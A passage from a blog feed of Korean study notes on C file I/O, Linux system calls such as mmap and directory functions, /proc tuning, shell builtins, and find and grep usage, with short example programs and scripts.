반복문이 발생할 수 있다&lt;br /&gt;&lt;br /&gt;%d     =&gt; 십진 정수 스캔&lt;br /&gt;%o, %x =&gt; 8진, 16진 정수를 스캔&lt;br /&gt;$f, $e, $g =&gt; 부동 소수점 숫자를 스캔&lt;br /&gt;$s =&gt; 문자열 스캔(첫번째 공백에서 멈춤으로 단어용으로 씀)&lt;br /&gt;$[] =&gt; 문자들의 집합을 스캔&lt;br /&gt;%% =&gt; %문자를 스캔 &lt;br /&gt;%c =&gt; 하나의 문자만 스캔&lt;br /&gt;&lt;br /&gt;예:&lt;br /&gt;Hello, 1234, 5.678, X, string to the of the line를 스캔할 경우&lt;br /&gt;&lt;br /&gt;char s[256];&lt;br /&gt;int n;&lt;br /&gt;float f;&lt;br /&gt;char c;&lt;br /&gt;&lt;br /&gt;scanf("Hello, %d, %g, %c, %[^\n]", &amp;n, &amp;f, &amp;c, s);&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;한 줄을 입력 받고 스캔하기 위해서는 필드 지정자를 사용하거나 fgets와 sscanf를 혼용하는것이 좋다)&lt;br /&gt;&lt;br /&gt;int fscanf(FILE *stream, const char *format, ...);&lt;br /&gt;int sscanf(const char *s, const char *format, ...);&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;scanf 계열은 사용을 자제(여러 줄의 입력을 읽기 이해서는 fread나 ggets와 같은 함수를 사용)&lt;br /&gt;정통적으로 구현상에 버그가 있음&lt;br /&gt;사용하기에 유연하지 않음&lt;br /&gt;구문 분석된 항목에 대해 작업하기 어려운 방향의 코드가 됨&lt;br /&gt;&lt;br /&gt;기타 스트림 함수&lt;br /&gt;fgetpos : 파일 스트림의 현재 위치를 얻는다&lt;br /&gt;fsetpos : 파일 스트림의 현재 위치를 설정한다&lt;br /&gt;ftell   : 스트림의 현재 파일 옵셋을 반환한다&lt;br /&gt;rewind  : 스트림이 파일 위치를 처음으로 설정한다&lt;br /&gt;freopen : 파일 스트림을 다시 사용한다&lt;br /&gt;setvvuf : 스트림을 위한 버퍼링 방법을 설정한다&lt;br /&gt;remove  : 파일이면 unlink와 동일하고 디렉토리면 rmdir과 동일&lt;br /&gt;&lt;br /&gt;표준라이브러리를 이용한 파일 복사하기 기능(저수준 보다 느림) 예:&lt;br /&gt;#include &lt;stdio,h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; int c;&lt;br /&gt; FILE *in, *out;&lt;br /&gt; &lt;br /&gt; in = fopen("file.n", "r");&lt;br /&gt; out = fopen("file.out","w");&lt;br /&gt; &lt;br /&gt; while((c=fgetc(in)) != EOF)&lt;br /&gt;  fputc(c,out);&lt;br /&gt;  &lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;저수준의 파일 복사하기 기능 예(다시):&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; char block[1024];&lt;br /&gt; int in, out;&lt;br /&gt; int nread;&lt;br /&gt; &lt;br /&gt; in = open("file.in", O_RDONLY);&lt;br /&gt; out = open("file.out", O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);&lt;br /&gt; while((nread = read(in,block,sizeof(block))) &gt; 0)&lt;br /&gt;  write(out,block,nread);&lt;br /&gt;  &lt;br /&gt; exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;스트림 에러 처리&lt;br /&gt;errno =&gt; 저수준의 에러 값을 반환하는데 이때 에러는 외부 변수 errno에 명시됨&lt;br /&gt;#include &lt;errno,h&gt;&lt;br /&gt;extern int errno;&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;여러 함수가 errno의 값을 변경시킬수 있으므로 함수 에러 발생시 즉시 검사를 시행하고 항상 이 변수의 값을 사용하기 전에 다른 변수에 복사하고 쓴다&lt;br /&gt;&lt;br /&gt;ferror =&gt; 스트림에 대한 에러 표시(반환값: 0 설정안됨, 0이외 설정됨)&lt;br /&gt;int ferror(FILE *stream);&lt;br /&gt;&lt;br /&gt;feof =&gt; 스트림에서 파일 끝 표시(반환값: 0 설정안됨, 0이외 설정됨)&lt;br /&gt;int feof(FILE *stream);&lt;br /&gt;&lt;br /&gt;예:&lt;br /&gt;if(feof(some_stream))&lt;br /&gt; /* 끝에 도달 */&lt;br /&gt;&lt;br /&gt;clearerr =&gt; 스트림이 가리키는 스트림에서 파일 끝 표시와 에러 표시를 초기화("디스크 공간 부족" 에러가 해결된 다음 스트림에 쓰기 작업을 계속 수행할 때 쓰임)&lt;br /&gt;void clearerr(FILE *stream);&lt;br /&gt;&lt;br /&gt;fileno =&gt; 어떤 저수준 파일 설명자를 파일 스트림에 대해서 사용할 때(반환값: -1 실패, 주어진 스트림의 파일 설명자 성공)(열린 스트림에 대해서 fstat를 호출하는 것과 같이 저수준 액세스가 필요한 경우 유용하게 쓰임)&lt;br /&gt;int fileno(FILE *stream);&lt;br /&gt;FILE *fdopen(int fildes, const char *mode); =&gt; 이미 열린 파일 설명자를 기반으로 새로운 파일 스트림을 생성할 수 잇다(이미 열린 파일 설명자 주변에 stdio 버퍼를 제공)(fopen 함수와 동일한 방식으로 작동하는데 파일 이름 대신 저수준 파일 설명자를 받음)(반환값: NULL 실패, 새로운 파일 스트림 성공)&lt;br /&gt;&lt;br /&gt;chmod =&gt; 시스템 호출을 사용하여 파일이나 디렉토리에 대한 권한을 변경(쉘 기반)&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;int chmod(const char *path, mode_t mode);&lt;br /&gt;&lt;br /&gt;chown =&gt; 시스템 호출을 사용하여 파일의 소유자를 변경&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;int chown(const char *path, uid_t owner, gid_t group);&lt;br /&gt;&lt;br /&gt;unlink =&gt; 시스템 호출을 사용하여 파일에 대한 디렉토리 항목을 지우고 링크 개수를 감소시킴(반환값: 0 성공, -1 에러)(unlink를 사용하려면 파일의 디렉토리 항목에 포함된 모든 디렉토리에 대해 쓰기와 실행 권한이 필요함)(rm 프로그램은 이 호출을 사용)&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;int unlink(const char *path)&lt;br /&gt;link =&gt; 기존파일 path1에 대해서 새로운 링크를 만들고 새로운 디렉토리 항목을 path2로 지정&lt;br /&gt;int link(const char *path1, const char *path2);&lt;br /&gt;symlink =&gt; 기호화된 링크 만들기(일반(하드) 링크와는 달리 파일이 효과적으로 삭제되는 것을 방지해 주지 않음)&lt;br /&gt;int symlink(const char *path1, const char *path2);&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;프로그램이 종료하면 파일을 자동삭제 하기 위해서 임시 파일로 쓰겠다면 open으로 파일을 만들고 바로 unlink를 호출함&lt;br /&gt;&lt;br /&gt;mkdir =&gt; 디렉토리 생성&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;int mkdir(const char *path, mode_t mode);&lt;br /&gt;rmdir =&gt; 디렉토리 삭제(디렉토리가 비어있을 때만 가능)&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;int rmdir(const char *path);&lt;br /&gt;&lt;br /&gt;chdir =&gt; 디렉토리 변경&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;int chdir(const char *path);&lt;br /&gt;&lt;br /&gt;getcwd =&gt; 현재 작업 디렉토리 변경(반환값: null 에러(size보다 클때, 디렉토리가 삭제되었을때), buf반환 성공)&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;char *getcwd(char *buf, size_t size);&lt;br /&gt;&lt;br /&gt;opendir =&gt; (저수준)디렉토리를 열고 디렉토리 스트림을 생성(저수준임으로 너무 많은 파일을 열면 실패할 수도 있다)(반환값: 널 실패)&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;dirent.h&gt;&lt;br /&gt;DIR *opendir(const char *name);&lt;br /&gt;&lt;br /&gt;readdir =&gt; 디렉토리 스트림 dirp 내부에 다음 디렉토리 항목에 관한 구조체의 포인터 반환하고 디렉토리 끝에서는 NULL을 반환한다&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;dirent.h&gt;&lt;br /&gt;struct dirent *readdir(DIR *dirp);&lt;br /&gt;&lt;br /&gt;dirent 구조체는(더 많은 사항을 결정하려면 stat를 호출한다)&lt;br /&gt;ino_t d_ino: 파일의 inode&lt;br /&gt;char d_name[] : 파일의 이름&lt;br /&gt;&lt;br /&gt;telldir =&gt; 디렉토리 스트림의 현재 위치를 기록하는 값을 반환&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;dirent.h&gt;&lt;br /&gt;long int telldir(DIR *dirp);&lt;br /&gt;&lt;br /&gt;seekdir =&gt; telldir 후에 디렉토리 스캔을 현재 위치로 다시 설정&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;dirent.h&gt;&lt;br /&gt;void seekdir(DIR *dirp, long int loc);&lt;br /&gt;&lt;br /&gt;closedir =&gt; 디렉토리 스트림을 닫음(반환값: 0 성공, 1 에러)&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;dirent.h&gt;&lt;br /&gt;int closedir(DIR *dirp);&lt;br /&gt;&lt;br /&gt;간단한 디렉토리 목록을 생성 예: 193페이지 참조&lt;br /&gt;결과는&lt;br /&gt;디렉토리의 각 파일은 한줄에 나열되고 각 하위 디렉토리의 이름에는 마지막에 슬래시(/)가 붙어있고 하위 디렉토리 하의 파일들은 공백 4자로 들여쓴다&lt;br /&gt;&lt;br /&gt;lstat(entry -&gt;d_name, &amp;statbuf); // entry에 저장된 디렉토리명을 상태 버퍼에 저장&lt;br /&gt;&lt;br /&gt;errno &lt;= 에러처리(errno.h 안에 나열되어 있음)&lt;br /&gt;EPERM : 연산이 허용되지 않음&lt;br /&gt;ENOENT : 그러한 파일이나 디렉토리가 없다&lt;br /&gt;&lt;br /&gt;strerror =&gt; 에러 번호를 문자열에 대응 시킴&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;char *strerror(int errnum);&lt;br /&gt;&lt;br /&gt;perror =&gt; errno에 보고된 현재 에러를 문자열에 대응 시키고 표준 에러 스트림에 출력&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;void perror(const char *s);&lt;br /&gt;&lt;br /&gt;예:&lt;br /&gt;perror("program");&lt;br /&gt;&lt;br /&gt;결과&lt;br /&gt;program: Too many open files&lt;br /&gt;&lt;br /&gt;/proc =&gt; 파일 시스템에 하드웨어 장치에 대한 목록화(리눅스는 대부분의 사항을 파일로 다룸)(리눅스는 특수한 파일 시스템인 procfs를 제공)&lt;br /&gt;/dev  =&gt; 저수준 시스템 호출을 사용하는 특벽한 방법으로 하드웨어 액세스&lt;br /&gt;&lt;br /&gt;cat /proc/net/sockstat =&gt; 소켓 사용량 보기&lt;br /&gt;cat /proc/sys/fs/file-max =&gt; 한개의 프로세스에서 파일을 최대로 열수 있는 갯수&lt;br /&gt;&lt;br /&gt;!!중요!!(튜닝)&lt;br /&gt;echo 60000 &gt; /proc/sys/fs/file-max =&gt; 60000으로 변경(DB 용)&lt;br /&gt;부팅 후도 계속 =&gt; /etc/sysctl.conf에 fs.file-max = 60000 추가 &lt;br /&gt;/etc/security/limits.conf 끝에 * - nofile 60000 추가&lt;br /&gt;&lt;br /&gt;ulimit -a 또는 -Sa =&gt; soft 한도&lt;br /&gt;ulimit -Ha =&gt; Hard 한도&lt;br /&gt;lsof =&gt; 프로세스에서 열어놓은 파일 보기&lt;br /&gt;&lt;br /&gt;PID는 기본적으로 1~32,000 사이의 값&lt;br /&gt;&lt;br /&gt;od -c /proc/"PID"/cmdline =&gt; vi에서 어떤 파일을 열었는지 확인&lt;br /&gt;/proc/"PID"/fd/           =&gt; 이 프로세스가 사용하고 있는 열린 파일 설명자에 관한 정보가 있음(설명자 0,1,2는 표준 입력,출력,에러 설명자임)&lt;br /&gt;&lt;br /&gt;fcntl =&gt; 저수준 파일 설명자를 조작(파일 설명자 복제, 파일 설명자 플래그 설정하고 구하기, 파일 상태 플래그 설정하고 구하기, 관고 파일 잠금 관리)&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;int fcntl(int fildes, int cmd);&lt;br /&gt;int fcntl(int fildes, int cmd, long arg);&lt;br /&gt;&lt;br /&gt;mmap =&gt; 메모리 맵을 이용해서 두개 이상의 프로그램이 함께 쓰고 읽을 수 있는 메모리 세그먼트를 설정(공유메모리)(off 매개변수를 전달하여 공유 세그먼트에 의해 액세스되는 파일 데이터의 시작 위치를 변경할 수 있고 열린 파일 설명자는 filedes로 전달되고 액세스 할 수 잇는 데이터의 양은 len 매개변수로 설정된다)(addr 틀정 메모리 주소를 요청(보통 0을 넣어서 자동 할당으로 설정))&lt;br /&gt;#include &lt;sys/mman.h&gt;&lt;br /&gt;void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);&lt;br /&gt;&lt;br /&gt;msync =&gt; 메모리 세그먼트 부분 혹은 전부에 가해진 변경 사항을 매핑된 파일로 쓰거나 매핑된 파일로 부터 읽는다&lt;br /&gt;#include &lt;sys/mman.h&gt;&lt;br /&gt;int msync(void *addr, size_t len, int flags);&lt;br /&gt;&lt;br /&gt;mnumap =&gt; 메모리 세그먼트를 해지함&lt;br /&gt;#include &lt;sys/mman.h&gt;&lt;br /&gt;int munmap(void *addr, size_t len);&lt;br /&gt;&lt;br /&gt;mmap 예: 205페이지 참조&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-4000295124827536367?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/4000295124827536367/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/4day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/4000295124827536367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/4000295124827536367'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/4day-study.html' title='4Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3909279336721775035</id><published>2009-03-01T21:27:00.001-08:00</published><updated>2009-03-01T21:31:10.283-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><category scheme='http://www.blogger.com/atom/ns#' term='Shell Script'/><title type='text'>3Day Study</title><content type='html'>3Day Study&lt;br /&gt;쉘 스크립트 내장 명령어&lt;br /&gt;break; &amp;lt= 중간에 빠저나올때 사용&lt;br /&gt;: &amp;lt= 널 명령 or true(예: while : 와 while true와 같다)&lt;br /&gt;: ${var:=value} &amp;lt= :이 없으면 쉘은 $var을 명령으로 연산하고자 시도한다&lt;br /&gt;continue &amp;lt= 반복문에서 사용&lt;br /&gt;for x in 1 2 3&lt;br /&gt;do&lt;br /&gt; echo before $x&lt;br /&gt; continue 1&lt;br /&gt; echo after $x&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;결과값&lt;br /&gt;before 1&lt;br /&gt;before 2&lt;br /&gt;before 3&lt;br /&gt;&lt;br /&gt;. &amp;lt= 현재 쉘에서 명령 실행(예: . ./shell_script) C에서 #include 지시어와 약간 비슷&lt;br /&gt;파일명 classic_set&lt;br /&gt;#!/bin/sh&lt;br /&gt;version=classic&lt;br /&gt;PATH=/usr/local/old_bin:/usr/bin:/bin:.&lt;br /&gt;PS1="calssic&gt; "&lt;br /&gt;파일명 lastst_set&lt;br /&gt;#!/bin/sh&lt;br /&gt;version=latest&lt;br /&gt;PATH=/usr/local/new_bin:/usr/bin:/bin:.&lt;br /&gt;PS1=" latest version&gt; "&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;# . ./calssic_set&lt;br /&gt;calssic&gt; echo $version&lt;br /&gt;classic&lt;br /&gt;classic&gt; . latest_set&lt;br /&gt;latest version&gt; echo $version&lt;br /&gt;latest&lt;br /&gt;latest version&gt;&lt;br /&gt;&lt;br /&gt;echo &amp;lt= 문자열과 줄 바꿈 문자를 출력하기 위해서 사용(이식성을 위해서는 tr 명령을 이용&lt;br /&gt;echo -n "string to output"&lt;br /&gt;echo -e "string to output\c" &amp;lt= \t(탭), \n(캐리지 리턴)&lt;br /&gt;&lt;br /&gt;eval &amp;lt= 인자를 연산할 때&lt;br /&gt;foo=10&lt;br /&gt;x=foo&lt;br /&gt;y='$' $x&lt;br /&gt;echo $y&lt;br /&gt;&lt;br /&gt;결과값&lt;br /&gt;foo&lt;br /&gt;&lt;br /&gt;foo=10&lt;br /&gt;x=foo&lt;br /&gt;eval y='$' $x&lt;br /&gt;echo $y&lt;br /&gt;&lt;br /&gt;결과값&lt;br /&gt;10&lt;br /&gt;&lt;br /&gt;exec &amp;lt= 다른 프로그램을 실행 및 현재 파일 설명자를 수정&lt;br /&gt;exec wall "Thanks for all the fish"&lt;br /&gt;exec 3&amp;lt afile &amp;lt=이것은 파일 asfile로 부터 읽기 위해 설명자 3을 사용하여 연다&lt;br /&gt;&lt;br /&gt;exit &amp;lt= 스크립트 종료 기능&lt;br /&gt;exit 0 &amp;lt= 성공 종료(에러코드는 1~125 까지 존재함)&lt;br /&gt;125 &amp;lt= 파일이 실행 가능이 아니다&lt;br /&gt;127 &amp;lt= 명령을 찾을 수 없다&lt;br /&gt;128이상 값 &amp;lt= 신호(signal)가 발생하였다&lt;br /&gt;&lt;br /&gt;AND OR 응용&lt;br /&gt;#!/bin/sh&lt;br /&gt;if [ -f .file ]; then&lt;br /&gt; exit 0&lt;br /&gt;fi&lt;br /&gt;exit 1&lt;br /&gt;과&lt;br /&gt;[ -f .profile] &amp;&amp; exit 0 || exit 1&lt;br /&gt;는 같다&lt;br /&gt;&lt;br /&gt;export &amp;lt= 매개변수로 받은 이름의 변수를 하위 쉘에서 사용 가능하도록 만들어줌&lt;br /&gt;파일명 export2&lt;br /&gt;#!/bin/sh&lt;br /&gt;echo "$foo"&lt;br /&gt;echo "$bar"&lt;br /&gt;파일명 export1&lt;br /&gt;foo="foo"&lt;br /&gt;export bar="bar"&lt;br /&gt;export2&lt;br /&gt;&lt;br /&gt;결과값은&lt;br /&gt;$ export1&lt;br /&gt;&lt;br /&gt;bar&lt;br /&gt;set -a 또는 set -allexport &amp;lt= 모든 변수를 내보낸다&lt;br /&gt;&lt;br /&gt;expr &amp;lt= 자신의 인자를 표현식으로 연산&lt;br /&gt;x=`expr $x + 1`&lt;br /&gt;x=$(expr $x + 1)&lt;br /&gt;요즘은 expr 보단 $((수식)) 이 쓰임(expr 보다 빠르다)&lt;br /&gt;x=$((3+1))&lt;br /&gt;&lt;br /&gt;printf &amp;lt= 화면출력하기(echo 보다 좋지만 최신의 쉘에서 사용 가능, 소수점은 지원안됨)&lt;br /&gt;\\ &amp;lt= 백슬래시 문자&lt;br /&gt;\a &amp;lt= 벨 울리기&lt;br /&gt;\b &amp;lt= 백스페이스 문자&lt;br /&gt;\f &amp;lt= 폼 피드 문자&lt;br /&gt;\n &amp;lt= 줄 바꿈 문자&lt;br /&gt;\r &amp;lt= 캐리지 리턴&lt;br /&gt;\t &amp;lt= 탭 문자&lt;br /&gt;\v &amp;lt= 수평 탭 문자&lt;br /&gt;\ooo &amp;lt= 8진수 값 ooo을 가진 단일 문자&lt;br /&gt;%d &amp;lt= 십진수를 출력&lt;br /&gt;%c &amp;lt= 문자를 출력&lt;br /&gt;%s &amp;lt= 문자열을 출력&lt;br /&gt;&lt;br /&gt;$ printf "%s %d\t%s" "Hi There" 15 people&lt;br /&gt;Hi Theere 15  people&lt;br /&gt;&lt;br /&gt;return &amp;lt= 기본적으로 마지막 명령의 종료 코드 반환&lt;br /&gt;&lt;br /&gt;set &amp;lt= 매개변수을 설정할 때&lt;br /&gt;#!/bin/sh&lt;br /&gt;echo the date is $(date)&lt;br /&gt;set $(date)&lt;br /&gt;echo The month is $2&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는(set으로 매개변수를 설정 후 $2를 사용해서 달(Month)를 갖고온다)&lt;br /&gt;the date is Mon Mar 2 11:46:12 KST 2009&lt;br /&gt;The month is Mar&lt;br /&gt;&lt;br /&gt;set -x &amp;lt= 스크립트가 현재 실행 명령들의 추적을 표시함&lt;br /&gt;&lt;br /&gt;shift &amp;lt= 매개변수를 하나씩 아래로 옮긴다($2-&gt;$1, $0은 변하지 않음, $* $@ $# 매개변수들이 새로운 정렬에 따라 값이 변하게 됨)&lt;br /&gt;&lt;br /&gt;모든 매개변수 검사&lt;br /&gt;#!/bin/sh&lt;br /&gt;while [ "$1" != "" ]; do&lt;br /&gt; echo "$1"&lt;br /&gt; shift&lt;br /&gt;done&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;trap -l &amp;lt= SIG 신호들 보기(신호를 이용해서 작동을 지정)&lt;br /&gt;trap 중요한 신호들&lt;br /&gt;HUP(1) &amp;lt= 행업(대개 터미널을 끊고 사용자가 로그아웃할 때 전송)&lt;br /&gt;INT(2) &amp;lt= 인터럽트(대개 Ctrl+C를 눌러서 전송)&lt;br /&gt;QUIT(3) &amp;lt= 끝내기(대개 Ctrl+\를 눌러서 전송)&lt;br /&gt;ABRT(6) &amp;lt= 중단(대개 어떤 심각한 실행 에러일 때 전송)&lt;br /&gt;ALRM(14) &amp;lt= 알람(대개 시간 제한을 처리할 때 사용)&lt;br /&gt;TERM(15) &amp;lt= 종료(대개 시스템이 종료할 때 전송)&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;trap 'rm -f /tmp/my_tmp_file_$$' INT&lt;br /&gt;echo creating file /tmp/my_tmp_file_$$&lt;br /&gt;date &gt; /tmp/my_tmp_file_$$&lt;br /&gt;echo "press interrupt (CTRL-C) to interrupt ...."&lt;br /&gt;while [ -f /tmp/my_tmp_file_$$ ]; do&lt;br /&gt; echo File exists&lt;br /&gt; sleep 1&lt;br /&gt;done&lt;br /&gt;echo The file no longer exists&lt;br /&gt;trap INT&lt;br /&gt;echo creating file /tmp/my_tmp_file_$$&lt;br /&gt;date &gt; /tmp/my_tmp_file_$$&lt;br /&gt;echo "press interrupt (control-C) to interrupt ...."&lt;br /&gt;while [ -f /tmp/my_tmp_file_$$ ]; do&lt;br /&gt; echo File exists&lt;br /&gt; sleep 1&lt;br /&gt;done&lt;br /&gt;echo we never get here&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는(처음 while 까지 실행 후 Ctrl+C를 누르면 두번째 while문 진입 후 Ctrl+C를 누르면 바로 종료가 되서 echo we never get here 밑으로는 실행되지 않음) &amp;lt= 잘 안됨&lt;br /&gt;creating file /tmp/my_tmp_file_141&lt;br /&gt;press interrupt (CTRL-C) to interrupt ....&lt;br /&gt;File exists&lt;br /&gt;File exists&lt;br /&gt;The file no longer exists&lt;br /&gt;creating file /tmp/my_tmp_file_141&lt;br /&gt;press interrupt (CTRL-C) to interrupt ....&lt;br /&gt;File exists&lt;br /&gt;File exists&lt;br /&gt;&lt;br /&gt;unset &amp;lt= 변수나 함수를 환경에서부터 메모리에서 완전 삭제함(IFS 같은 읽기 전용 변수는 사용이 안됨)&lt;br /&gt;#!/bin/sh&lt;br /&gt;foo="Hello World"&lt;br /&gt;echo $foo&lt;br /&gt;unset foo&lt;br /&gt;echo $foo&lt;br /&gt;&lt;br /&gt;결과(foo=과 틀림 foo가 완전히 사라짐)&lt;br /&gt;Hello World&lt;br /&gt;&lt;br /&gt;유용한 명령어들&lt;br /&gt;파일 찾기&lt;br /&gt;find [경로] [옵션] [테스트] [작동]&lt;br /&gt;fine / -mount -name wish -print &amp;lt= wish파일을 찾는데 마운트된 시스템은 안 찾음&lt;br /&gt;-depth &amp;lt= 디렉토리의 내용을 먼저 검색&lt;br /&gt;-follow &amp;lt= 기호화된 링크를 따라감&lt;br /&gt;-maxdepths N &amp;lt= 검색할때 최대 N 수준까지의 디렉토리를 검색&lt;br /&gt;-mount &amp;lt= 다른 파일 시스템의 디렉토리는 검색하지 않음&lt;br /&gt;-atime N &amp;lt= 파일이 N일 이전에 마지막으로 액세스 되었다&lt;br /&gt;-mtime N &amp;lt= 파일이 N일 이전에 마지막으로 수정되었다&lt;br /&gt;-name "패턴" &amp;lt= 경로를 제외한 파일의 이름이 주어진 패턴에 일치&lt;br /&gt;-newer otherfile &amp;lt= 파일이 otherfile보다 최신이다&lt;br /&gt;-type C &amp;lt= 파일 형식이 C, d는 디렉토리, f는 보통 파일&lt;br /&gt;-user 사용자이름 &amp;lt= 주어진 이름을 가진 사용자가 파일을 소유하고 있다&lt;br /&gt;! or -not &amp;lt= 테스트를 역으로 수행&lt;br /&gt;-a or -and &amp;lt= 두 테스트가 모두 true&lt;br /&gt;-o or -or &amp;lt= 둘 중 하나의 테스트가 true&lt;br /&gt;&lt;br /&gt;파일 X보다 최신이거나 밑줄로 시작하는 이름의 보통파일만 찾아서 출력&lt;br /&gt;find / \( -newer X -or -name "_*"\ ) -type f -print &amp;lt= (는 특별한 의미기 때문에 \ 필요&lt;br /&gt;find 작동후 수행 옵션은&lt;br /&gt;-exec 명령 &amp;lt= 명령을 실행&lt;br /&gt;-ok 명령 &amp;lt= -exec와 같지만 실행하기 전에 사용자에게 여부를 물음&lt;br /&gt;위 두가지는 \;로 끝냄 {}은 현재 파일에 대한 전체 경로로 인식&lt;br /&gt;-print &amp;lt= 파일의 이름을 출력&lt;br /&gt;-ls &amp;lt= 현재 파일에 대해서 ls -dils 명령을 사용&lt;br /&gt;파일 X보다 최신이거나 밑줄로 시작하는 이름의 보통파일만 찾아서 ls -l 하기&lt;br /&gt;find / \( -newer X -or -name "_*"\ ) -type f -exec ls -l {} \;&lt;br /&gt;결과는&lt;br /&gt;-rwxr-xr-x 1 root root 5984 Mar 15  2007 /usr/lib/python2.4/site-packages/rhpl/_diskutil.so&lt;br /&gt;&lt;br /&gt;find / \( -newer X -or -name "_*"\ ) -type f -exec ls -l \;&lt;br /&gt;결과는&lt;br /&gt;-rwxr-xr-x 1 root root    75 Mar  2 11:46 setsample.sh&lt;br /&gt;&lt;br /&gt;grep &amp;lt= 일반 정규식 파서&lt;br /&gt;grep [옵션] 패턴 [파일]&lt;br /&gt;-c &amp;lt= 일치하는 줄의 갯수 출력&lt;br /&gt;-E &amp;lt= 확장 표현식을 적용&lt;br /&gt;-h &amp;lt= 파일명 붙이는거 제거(일반적으로 grep는 찾은 패턴의 앞에 파일명이 나옴)&lt;br /&gt;-i &amp;lt= 대소문자를 구별 안함&lt;br /&gt;-l &amp;lt= 일치된 줄에 해당하는 파일 이름만 나열&lt;br /&gt;-v &amp;lt= 일치된 패턴 제거&lt;br /&gt;&lt;br /&gt;grep -c -v in words.txt &amp;lt= words.txt안에 in 문자가 없는 줄의 갯수 파악&lt;br /&gt;&lt;br /&gt;많이 쓰이는 정규표현식(상세한 정규표현식은 info grep에서 Regular Expressions 부분 보기)&lt;br /&gt;^ &amp;lt= 문자의 시작&lt;br /&gt;$ &amp;lt= 문자의 끝&lt;br /&gt;. &amp;lt= 어떤 단일 문자&lt;br /&gt;? &amp;lt= 필수가 아니여도 1번 일치&lt;br /&gt;* &amp;lt= 0번 혹은 더 많이 일치&lt;br /&gt;+ &amp;lt= 1번 혹은 더 많이 일치&lt;br /&gt;{n} &amp;lt= n번 일치&lt;br /&gt;{n,} &amp;lt= n번이상 일치&lt;br /&gt;{n,m} &amp;lt= n번에서 m번 사이에 일치&lt;br /&gt;[ ] &amp;lt= 일치되는 문자의 범위(예: ^[a-e]는 a에서 e까지의 역이다)&lt;br /&gt;&lt;br /&gt;grep e$ words.txt &amp;lt= e로 끝나는 문자 찾기&lt;br /&gt;grep a[[:blank:]] words.txt &amp;lt= a로 끝나는 단어 찾기([[:blank:]]는 공백이나 탭)&lt;br /&gt;grep Th. [[:space:]] word.txt &amp;lt= Th로 시작되는 단어 찾기&lt;br /&gt;grep -E [a-z]\{10\} word.txt &amp;lt= 소문자가 10자로 단어 찾기&lt;br /&gt;&lt;br /&gt;!!중요 포인트!!&lt;br /&gt;명령 실행의 오래된 형식에서는 작은 따옴표가 아니라 백틱 혹은 백따옴표)`_를 사용하였음을 명심하자&lt;br /&gt;$(명령}은 단순히 명령의 출력임&lt;br /&gt;&lt;br /&gt;!!중요 포인트!!&lt;br /&gt;1_tmp와 2_tmp 제어할때&lt;br /&gt;#!/bin/sh&lt;br /&gt;for i in 1 2&lt;br /&gt;do&lt;br /&gt; my_secret_rpocess $i_tmp&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;결과는(에러가 남)&lt;br /&gt;my_secret_process: too few arguments&lt;br /&gt;에러 수정 방법&lt;br /&gt;my_secret_rpocess $i_tmp =&gt; my_secret_rpocess ${i}_tmp&lt;br /&gt;&lt;br /&gt;매개변수 확장&lt;br /&gt;${param:-default} &amp;lt= param이 널이면 default의 값으로 설정&lt;br /&gt;${param:=default} &amp;lt= param이 널이 아니면 변수의 값을 반환하며, 그렇지 않으면 foo를 